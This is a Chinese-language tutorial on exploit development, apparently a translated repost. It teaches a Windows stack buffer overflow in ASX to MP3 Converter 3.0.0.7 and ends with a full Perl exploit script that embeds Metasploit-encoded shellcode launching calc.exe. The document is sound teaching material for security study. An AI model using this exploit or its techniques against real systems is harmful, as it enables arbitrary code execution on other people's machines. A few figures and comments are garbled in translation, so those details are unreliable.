Windows漏洞利用開發 – 第2部分：棧溢位簡介

概觀

歡迎來到我的Windows漏洞利用開發系列的第2部分。在第一篇文章中，我介紹了一些基本概念，在繼續第2部分及其後續部分應該掌握這些基本概念。如果你還沒有這樣做，我建議看看第一篇文章，以確保你牢牢掌握所有提出的概念。基於這些知識，我現在想討論一個基於Windows的軟體漏洞：基於棧的緩衝區溢位。

基於堆疊的緩衝區溢位簡介

在這一期中，我將以維基百科的簡單程式開始：

在第1部分中，我提到了將大於11個字元的引數傳遞給strcpy（）函式會導致緩衝區溢位，因為缺少邊界檢查。讓我們看看具體情況。回想一下strcpy（）如何將argv [1]使用者輸入寫入堆疊，如下所示：

如果輸入少於12個字元（函式foo中變數c分配給堆疊的大小），那麼這很好，但是如果輸入超過11個字元，strcpy（）會繼續將輸入寫入堆疊，無論多少空間已經分配。[注意：如果你想知道為什麼輸入字元限制是11而不是12（因為變數大小是12），那是因為你必須為字串分配終結符。]

例如，如果我們要用150*‘A’作為引數執行這個程式，我們得到一個看起來像這樣的棧：

正如你所看到的，strcpy（）用argv [1]覆蓋了所有的基指標（儲存的EBP）和返回地址（儲存的EIP）。注意：不要擔心指向下一個SEH記錄和異常處理程式的指標 - 我將在以後的文章中介紹它們。現在，當程式將執行到foo函式的返回地址時，它將返回到地址41414141（AAAA）去執行，由此引發錯誤/異常。

這是因為strcpy（）沒有使用邊界檢查，因此它不會驗證是否超過變數c分配的空間，並且會繼續寫入棧，直到argv [1]全部寫入。由於區域性變數被寫入棧上的返回地址和其他重要資料，這裡返回地址被‘A’覆蓋。

由於我們完全控制了我們傳遞給程式的引數，由於這種基於棧的緩衝區溢位，我們就可以完全控制EIP，並因此控制程式本身的執行流程。這意味著我們可以重定向程式來執行我們選擇的程式碼 - 這是一個基於堆疊的緩衝區溢位漏洞的簡單示例。讓我們看一個具有類似緩衝區溢位的實際程式。

找到一個脆弱的應用程式

先介紹一下Exploit Database（ http://www. exploit-db.com/ ），這是一個漏洞利用存檔庫，還包括可供下載的相關易受攻擊軟體。它是漏洞開發的好資源，也是提交自己漏洞報告的好地方。在未來的文章中，我將討論如何找到自己的軟體漏洞，但是對於現在這個介紹演示，我們使用現有的軟體漏洞。

對於這個例子，我將參考Cyber-Zone於2009年提交的關於ASX to MP3 Converter的一個較舊的緩衝區溢位漏洞利用。檢視釋出到Exploit-DB的程式碼，並在開啟包含“http：//”+ 26121 *‘A’的音樂播放列表檔案（.m3u）後注意EIP覆蓋為（41414141）。

因為這是一個POC，它實際上並沒有導致任意程式碼執行（只是程式崩潰）。另此POC並未指出哪些版本的軟體易受攻擊，並且它是在Windows XP SP2法語版上編寫的，這意味著我們可以在備用版本的作業系統上看到不同的結果。考慮到這一切，讓我們下載ASX-MP3 Converter 3.0.0.7 並將其安裝在Windows XP SP3上。

複製漏洞/崩潰

接下來讓我們開始構建我們的漏洞利用並從利用POC導致應用程式崩潰。我用Perl編寫利用指令碼。

正如你所看到的，Perl指令碼建立了一個包含50,000個A的m3u檔案（41是'A'的16進位制，參見 http://www. asciitable.com/ ）。

請注意，對於此m3u漏洞利用，原始POC中包含的“http：//”不是必需的，儘管一些基於m3u的漏洞需要這樣的檔案頭才能工作。你可以研究一個有效的m3u檔案的內容，以瞭解這是為什麼。還要注意，這個漏洞，儲存m3u漏洞利用檔案的路徑會影響最終的EIP覆蓋，因此請確保命名exploit檔案與我的示例（asx2mp3.m3u）相同，並將其儲存到C：之下，用ASX-MP3轉換器開啟它。

執行perl指令碼（例如perl asx2mp3.pl）以生成漏洞利用m3u檔案並將其儲存到目標Windows機器的C：。然後開啟ASX-MP3轉換器並用Immunity Debugger附加，按F9執行。

使用ASX to MP3播放器開啟asx2mp3.m3u漏洞檔案（將其拖到應用程式中），您應該會立即看到應用程式崩潰並導致Immunity中的EIP覆蓋。

控制EIP覆蓋（確定偏移）

好的，所以我們已經確認了POC崩潰。現在，為了控制程式執行並使這個漏洞利用起作用，我們需要做的第一件事就是弄清楚我們的50,000字元緩衝區中的哪個點覆蓋EIP（也稱為“偏移”）。我們可以通過構造具有多個字元（例如A，B，C，D和E各一個）的緩衝區來通過反覆試驗來做到這一點，並檢視EIP如何被覆蓋，如下圖所示。

EIP被C覆蓋，所以從這裡你可以關注字元20,001到30,000，以較小的增量分解它們，直到找到覆蓋EIP的確切4個位元組。雖然有效，但此方法可能需要一些時間，有一種更簡單的方法。我們可以使用Metasploit pattern_create / pattern_offset函式（您可以在Backtrack / Kali Linux上找到）來找到確切的EIP覆蓋，而不是多次嘗試。

使用pattern_create，我將建立一個長度為50,000的字串，將其插入我的指令碼並建立一個新的m3u exploit檔案。

在Immunity（Ctrl + F2）中重新啟動ASX到MP3轉換器，開啟新建立的m3u檔案（從C：）並檢查Immunity中的崩潰。這次我們看到EIP被48376D48覆蓋。

為了在我們的50,000字元緩衝區內找到這個EIP覆蓋的確切偏移量，我們將使用pattern_offset.rb。語法如下：

在這種情況下，實際偏移量是列出的第二個（26121），與在 http:// Exploit-DB.com 中釋出的原始POC中的相同。我們可以通過修改我們的指令碼來測試，如下所示：

在上面的指令碼中，我添加了一個變數$junk，其中包含26121個A —— 填充緩衝區首地址與EIP之間的空間。接下來的四個位元組應該完全覆蓋EIP（我選擇了四個B），並且50,000字元緩衝區的剩餘部分用C填充。使用更新後的m3u檔案重新執行易受攻擊的應用程式可以確認EIP的偏移量，並按照所希望的4*‘B’覆蓋它。您也可以在棧和記憶體窗格中看到我們緩衝區的內容。

讓我們來看看另一種生成模式並計算偏移量的方法，這次使用Mona外掛來實現。將外掛儲存到Immunity的PyCommands資料夾後，從偵錯程式中啟動ASX-MP3轉換器。

如果你想使用mona生成模式，你可以輸入！mona pc 50000，它會將模式寫入文字檔案。由於我在單獨的Kali機器上編寫大部分漏洞，我更願意使用pattern_create.rb。無論哪種方式，一旦您建立了包含50,000位元組模式的漏洞利用m3u檔案並導致應用程式在Immunity中崩潰，您現在可以使用mona命令findmsp 。

使用這個命令（！mona findmsp），mona將定位EIP覆蓋以及其他非常有用的資訊，例如哪些暫存器包含緩衝區的一部分。如果你執行！mona findmsp命令，你的輸出應該如下所示：

請注意它是如何在偏移5841處找到一個EIP模式的，它可能看起來很熟悉，因為它是我之前展示的Metasploit pattern_offset.rb指令碼找到的三個模式匹配中的第一個。可以看mona.py中的findmsp函式原始碼使用python find（）函式查詢偏移量，如下所示：

1. 

如果您熟悉python，find函式僅返回第一次匹配，而不是所有匹配。在我們的情況下，我們實際上對第二次個偏移感興趣。為了確定正確的偏移量。我更新了我的mona副本使用正則表示式（而不是查詢函式），並迴圈遍歷模式匹配的所有匹配項以構造所有偏移量的連線字串。如果你有興趣，下面是程式碼（需要一些額外的程式碼更改）。

1. 

這將導致以下輸出：

如您所見，它現在返回EIP偏移的所有可能的偏移。

找到我們的shellcode的位置

現在我們已經確認我們可以控制EIP覆蓋（以及最終的執行流程），我們已準備好修改漏洞利用指令碼以使其執行我們選擇的程式碼。為了將執行流程重定向到有用的東西，我們需要確定我們生成的shellcode將要駐留的位置，然後將EIP指向該位置。為此，我們需要在應用程式崩潰和EIP覆蓋時檢查CPU暫存器和記憶體內容。讓我們回到CPU檢視中的Immunity輸出：

請注意，目前有三個暫存器指向我們的50,000位元組緩衝區中的某個位置：EBX，ESP和EBP。

我們希望使用我們的EIP覆蓋來告訴應用程式重定向到其中一個暫存器並執行它指向的程式碼。我們選擇哪個暫存器取決於幾件事情：

好的，所以我們需要告訴應用程式重定向或“跳轉”到包含shellcode的暫存器。在這種情況下，我們很幸運，因為我們有三種可能的暫存器可供選擇：EBX，ESP和EBP。

讓我們來檢查EBX的第一個標準：在那個位置不間斷程式碼的數量。在CPU暫存器窗格中，右鍵單擊EBX中的地址並選擇“Follow in Dump”。

在“記憶體”窗格（左下角）中，您應該看到該地址的內容以及後面的地址。開始向下滾動，注意看看我們插入的緩衝區是否有中斷。在我的情況下，它在位置000FCFCC之後中斷。

為了估算我們在EBX上有多少不間斷的shellcode空間，我們可以從000FCFCC中減去EBX（000FBBD4）的開始。這有0x13F8或5112位元組。有足夠的可用空間，所以EBX是一個很好的候選。

我們可以用另外兩個暫存器（ESP和EBP）繼續這個練習來確定最大空間的位置。或者，我們可以使用！mona findmsp來檢查可用空間。請記住，由findmsp顯示的偏移量僅與模式的第一次出現相對應，但在確定shellcode的可用空間時，檢測到的長度準確且有用。執行！mona findmsp並檢視三個暫存器返回的長度。

如果我們用可用空間去比較，ESP是最多的，那麼讓我們來檢查一下ESP的第二個標準：我們使用EIP覆蓋重定向到那個位置的能力。對於這個示例，我們將用一個簡單的跳轉或呼叫指令，它將我們帶到我們想要的暫存器。為了實現這一點，我們需要找到一個JMP ESP或CALL ESP指令。

以下是您如何在 Immunity中執行此操作的方法：

右鍵單擊CPU檢視的CPU指令窗格，選擇“搜尋”並單擊“所有模組中的所有命令”。這將搜尋所有已載入的模組（.exe和所有DLL）用於我們的jmp /call指令。

輸入所需的指令，在本例中為“jmp esp”。

正如你在下面的螢幕截圖中看到的，我們可以得到很多結果，但問題是唯一可用的地址都不在應用程式本身中 - 注意它們都與“C： WINDOWS”和“C ： Program Files Mini-Stream ASX-MP3轉換器..“。如果沒有其他替代方案，這些DLL /模組當然可用作有效的jmp指令，這些非應用程式模組中的指令地址可能因Windows的不同“風格”而異。例如，Windows SP2和SP3之間或SP3法語和SP3英語之間的DLL地址可能不同。為確保您的漏洞利用程式碼具有更好的可移植性，您希望儘可能從應用程式模組中選擇指令。

不幸的是，如果我們嘗試“呼叫esp”，我們會得到類似的結果（都在非應用程式模組）。我堅持一定要用應用程式本身的指令。

雖然沒有應用程式模組包含必要的ESP暫存器的jmp / call指令，但我們很幸運在這個例子中有兩個其他暫存器指向了我們的緩衝區，所以讓我們嘗試一個不同的暫存器來代替使用。

嘗試搜尋“call ebx”。這一次，結果包括來自應用程式模組的許多地址。

這些結果開頭幾個選擇的問題是，它們都以空位元組開頭，如你所記得的，它將作為一個字串終結符，阻止執行跟隨我們的EIP覆蓋的shellcode。在結果中進一步向下滾動，您應該看到一些不以空位元組開始的內容：

我們選擇一個 - 我將選擇01C27228（來自MSA2Mcodec00.dll）。這是我們用來覆蓋EIP的值。重要！：您的“call ebx”地址將與您在上面的螢幕截圖中看到的地址有所不同，因為地址為“rebasing”。如果您重新啟動機器，攻擊將不再有效，您將不得不返回並選擇另一個“call ebx”地址。

好的，所以我們已經成功地複製了應用程式崩潰，驗證了對EIP的控制權，驗證了我們對EIP的填充（26121），我們有一個暫存器（EBX）指向我們的緩衝區的不間斷部分，並且有足夠的長度地址到我們將用來覆寫EIP的CALL EBX指令。讓我們將所有這些融入到我們的漏洞利用程式碼中。

找到我們的shellcode的偏移量

現在我們的50000位元組緩衝區包含：

EBX暫存器指向緩衝區的$ fill部分〜5,100位元組的部分，但是在哪裡？我們需要知道，所以我們聰明地放置我們的shellcode。我們可以使用幾種不同的方法來確定我們的shellcode偏移量。

暫停程式執以確定shellcode偏移量

看看我們的漏洞利用的一個截圖。

我所做的是用INT（中斷）指令（十六進位制中的 xcc）構造緩衝區的$ fill部分。當應用程式進入INT指令時，它暫停執行。這對於與偵錯程式一起使用非常有用，因為它允許我們在執行CALL EBX時準確檢視我們緩衝區中的哪個位置。讓我們來看看當我們開啟包含這個緩衝區的更新的m3u檔案時會發生什麼：

您可以看到，當應用程式遇到INT指令並暫停時，EBX包含000FBBD4和EIP 000FBBD5（當前指令）。如果我們按照記憶體窗格中的後一個地址，並向上滾動，直到我們找到緩衝區中儲存call ebx的地址000F729E。如果我們從000FBBD5中減去這個地址，我們得到0x4937或18743。

這是我們的CALL EBX指令後的緩衝區的大概長度，我們將在後面放置我們的shellcode。我為什麼說近似？有可能我們的緩衝區的一部分在寫入記憶體時被破壞或刪除，所以我們知道我們的原始緩衝區的$ fill部分至少有18743位元組需要填充在我們的shellcode之前。我會告訴你如何在短時間內獲得更準確的長度。

另一種看待它的方式是從我們的緩衝區開始應該放置我們的漏洞程式碼多遠？為了找到答案，請在$ fill（junk + EIP = 26,125）之前的緩衝區中新增18743即44868。換句話說，至少我們的shellcode應該在緩衝區的第一個44686位元組之後開始

使用中斷來暫停程式執行並檢查記憶體/暫存器是確定shellcode在緩衝區中的位置的一種快速方法，但有更精確的方法。

使用Metasploit pattern_offset.rb來確定shellcode的偏移量

Metasploit模式偏移指令碼可以準確地告訴我們EBX指向我們基於模式的緩衝區（使用sister pattern_create.rb指令碼建立）的位置。在崩潰/ EIP覆蓋時觀察我們的暫存器內容：

EBX從‘Fn9F’開始。使用metasploit模式偏移ruby指令碼，我們可以確切知道它駐留在模式緩衝區中的哪個位置：

在我們的例子中，偏移是44877。在我將它加入到我們的指令碼之前，讓我告訴你如何用mona外掛獲得相同的結果。

使用mona來確定shellcode偏移量

您可以再次引用mona的findmsp結果來檢視EBX中緩衝區的偏移量。

同樣，您只會看到第一個偏移量，但此螢幕截圖反映了我更新的程式碼，它確認了44877的偏移量。

現在我們知道了shellcode的偏移量，讓我們相應地更新我們的漏洞緩衝區。假設偏移量為44877，前26125個位元組將被我們緩衝區的“垃圾”部分（26,121位元組）和我們的EIP覆蓋（4個位元組）佔用。這留下了需要在我們的shellcode之前的18752個位元組。讓我們調整我們的指令碼來測試一下：

我在這裡做的是新增另一個變數“$nops”，它將在EIP覆蓋之後和我們的shellcode之前儲存緩衝區的部分，以便模擬我們的shellcode偏移量44877。我使$nops的長度比我們shellcode之前所需的數量多一個，並且都包含了INT指令，這樣如果程式執行到$nops內的某處，它會立即暫停，我們可以看到。

如果來自pattern_offset / mona的偏移量正確，則呼叫EBX應該完全落在緩衝區的$nops部分（18752 + 1）中的最後一條INT指令處。讓我們用我們更新的m3u exploit檔案執行程式，並看看Immunity：

正如你所看到的，完全落在我們最後的中斷指令上，下一條要執行的指令是我們緩衝區的$ fill部分的第一個位元組（即將到來的shellcode），這意味著由pattern_offset / mona提供的偏移是準確的。實際情況是，我們不必這麼準確 - 我們原來的估計位置可能對我們很好，因為我們可以（也應該）總是在shellcode之前放置一個無害的緩衝區，以允許記憶體地址的偏差。

為此，我們通常使用所謂的無操作指令（NOP），其在x86架構上由十六進位制值0x90表示。將這些NOP串聯在一起形成通常稱為NOP slide 或 NOP sled。當程式執行遇到這一系列的NOP時，它會“滑動”，直到它遇到一組可執行的指令，在我們的例子中就是我們的shellcode。

在構建緩衝區時，將EIP CALL / JMP指令置於某個NOPS系列的開始/中間位置通常是個好主意。由於我們有很大一部分可用於我們的shellcode，因此我會在它之前使用一個長度為18852的NOPs（18752個偏移量+一個額外的100個填充量）。我們的緩衝區的整個部分將用作我們的shellcode偏移量和我們的NOPs。

現在我們的緩衝區看起來如下（最後一部分保留給我們的shellcode）：

構造Shellcode

我們需要的最後一件事是構造一些實際的shellcode。當然，我們選擇的shellcode取決於我們希望利用漏洞做什麼...產生遠端shell，新增管理使用者等等。

在我們的例子中，我們將選擇一些良性的東西——開啟Windows計算器（calc.exe）。接下來我們必須考慮的是，是否有任何字元會破壞我們的shellcode。例如，由於已經討論過的原因，空位元組在shellcode中可能會有問題。回車，換行和其他字串終止符也是有問題的。也有可能是應用程式本身不能處理某些字元或更改某些字元的值（轉換/編碼等）。因此，shellcode的建立有時可能不會很簡單。幸運的是，在這種情況下，shellcode的建立非常簡單。

Metasploit有一個叫做msfpayload的命令列shellcode生成函式。您可以使用-l開關檢視Windows特定的payload：

1. msfpayload-l | grep windows

在我們的例子中，我們將使用windows / exec來啟用任意命令，適合呼叫calc.exe。要使用msfpayload，您需要知道與每個payload相關的選項，您可以通過將有效負載名稱附加到大寫字母O來獲取這些選項。

給定可用選項，payload的語法如下所示：

1. msfpayload windows/execCMD=calc.exe R

如果您使用“O”引數檢查選項，您可能會注意到一個名為“EXITFUNC”的附加選項。該引數控制shellcode在完成時將如何退出。我沒有為EXITFUNC指定一個值，這意味著將使用“執行緒”的預設值，這隻會終止關聯的執行緒。

有效負載退出的其他選項是SEH（讓異常處理程式管理退出）和程序（終止整個程序而不僅僅是執行緒）。EXITFUNC的選擇會在漏洞終止時的行為方式上產生很大的變化，因此您可能需要進行試驗。例如，如果您要將漏洞注入到必須在漏洞利用終止後繼續執行的父程序中，則可能需要避免程序，而是堅持使用執行緒。

同樣的，CMD選項不言自明，“R”代表Raw，它將輸出我們的shellcode作為原始位元組碼。但是，我們需要在將shellcode合併到我們的指令碼之前對shellcode進行編碼。為此，我們可以將msfpayload輸出傳遞給msfencode函式，如下所示：

1. msfpayload windows/execCMD=calc.exe R | msfencode-e x86/shikata_ga_nai-c1-t perl-b'x00x0ax0dxff'

-e開關告訴msfencode使用哪個編碼器，-c開關告知要執行多少次迭代，-t開關指示輸出格式，-b開關告訴編碼器要排除哪些“壞”字元。該命令產生227位元組的編碼有效載荷。未來帖子會有編碼的詳細討論。現在請記住，選擇一個編碼器可能會受到應用程式如何對使用者輸入進行編碼（例如unicode）的影響，並且還可以用某些AV規避技術派上用場。

你也可以使用msfvenom模組實現同樣的功能，如下所示：

1. msfvenom-p windows/execCMD=calc.exe-f perl-b'x00xffx0ax0d'

你任意使用哪一個（msfpayload w / msfencode或msfvenom）。

你可以在這裡找到更多關於使用msfpayload的資訊：

http :// http://www. offensive-security.com/ metasploit-unleashed/Msfpayload

把它放在一起

現在我們有了227位元組的shellcode，我們的最終緩衝區看起來像這樣（注意，如果我們想要使用不同的更大的shellcode，我們還有4796位元組可用）

這是我們的最終漏洞利用程式碼：

1. #!/usr/bin/perl ######################################################################### # Exploit Title: ASX to MP3 Converter 3.0.0.7 (.m3u) Stack-Based BOF # Date: 12-13-2013 # Exploit Author: Mike Czumak (T_v3rn1x) — @SecuritySift # Vulnerable Software/Version: ASX to MP3 Converter 3.0.0.7 # Link: http://www. mini-stream.net/asx-to- mp3-converter/download/ # Tested On: Windows XP SP3 # Credits: # — Original POC by Cyber-Zone: http://www. exploit-db.com/exploits /8407/ ######################################################################### my $buffsize=50000;# sets buffer size for consistent sized payload my $junk=“x41” x26121;# offset to EIP overwrite my $eip=pack(‘V’,0x01C27228);# call ebp (MSA2Mcodec00.dll) – YOURS WILL DIFFER! my $nops=“x90” x18752; # msfpayload windows/exec CMD=calc.exe R | # msfencode -e x86/shikata_ga_nai -c 1 -t perl -b ‘x00x0ax0dxff’ # size 227 my $shell=
2. “xbax8dxf5x02x51xdaxc0xd9x74x24xf4x5bx2bxc9” .
3. “xb1x33x31x53x12x03x53x12x83x66x09xe0xa4x84” .
4. “x1ax6cx46x74xdbx0fxcex91xeax1dxb4xd2x5fx92” .
5. “xbexb6x53x59x92x22xe7x2fx3bx45x40x85x1dx68” .
6. “x51x2bxa2x26x91x2dx5ex34xc6x8dx5fxf7x1bxcf” .
7. “x98xe5xd4x9dx71x62x46x32xf5x36x5bx33xd9x3d” .
8. “xe3x4bx5cx81x90xe1x5fxd1x09x7dx17xc9x22xd9” .
9. “x88xe8xe7x39xf4xa3x8cx8ax8ex32x45xc3x6fx05” .
10. “xa9x88x51xaax24xd0x96x0cxd7xa7xecx6fx6axb0” .
11. “x36x12xb0x35xabxb4x33xedx0fx45x97x68xdbx49” .
12. “x5cxfex83x4dx63xd3xbfx69xe8xd2x6fxf8xaaxf0” .
13. “xabxa1x69x98xeax0fxdfxa5xedxf7x80x03x65x15” .
14. “xd4x32x24x73x2bxb6x52x3ax2bxc8x5cx6cx44xf9” .
15. “xd7xe3x13x06x32x40xebx4cx1fxe0x64x09xf5xb1” .
16. “xe8xaax23xf5x14x29xc6x85xe2x31xa3x80xafxf5” .
17. “x5fxf8xa0x93x5fxafxc1xb1x03x2ex52x59xeaxd5” .
18. “xd2xf8xf2”;
19. my $sploit=$junk.$eip.$nops.$shell;# sploit portion of buffer my $fill=“x43” x ($buffsize – (length($sploit)));# filler for consistency my $buffer=$sploit.$fill;# build final buffer # write the exploit buffer to file my $file=“asx2mp3.m3u”;
20. open(FILE, “>$file”);
21. printFILE$buffer;
22. close(FILE); print“Exploitfilecreated [” . $file. “]n”; print“Buffersize: ” . length($buffer) . “n”;

生成最終的.m3u檔案並用ASX To MP3 Converter開啟它，你應該看到：

如果calc沒有開啟，請確保您正在執行C：的根目錄下的.m3u檔案，並且已將該檔案命名為asx2mp3.m3u。請記住，由於檔案路徑影響成功執行以及使用實現地址重定位的應用程式模組（DLL），因此此漏洞遠未完善。我們將在第3部分中看看如何解決這兩個問題。

這就是這個系列的第2部分。希望您現在瞭解基於堆疊的緩衝區溢位的基本知識，包括為什麼它是一個問題，它如何在軟體應用程式中表現出來，以及如何利用它來強制執行任意程式碼。

在第3部分中，我將繼續討論基於棧的溢位問題，以及如何解決基本問題，如動態EIP偏移和稍微更復雜的跳轉到shellcode。我將再次開始使用ASX-MP3應用程式，並展示一種方法，我們可以克服由於在記憶體中包含檔案路徑而導致的EIP偏移量的變化。

文章來源：看雪社群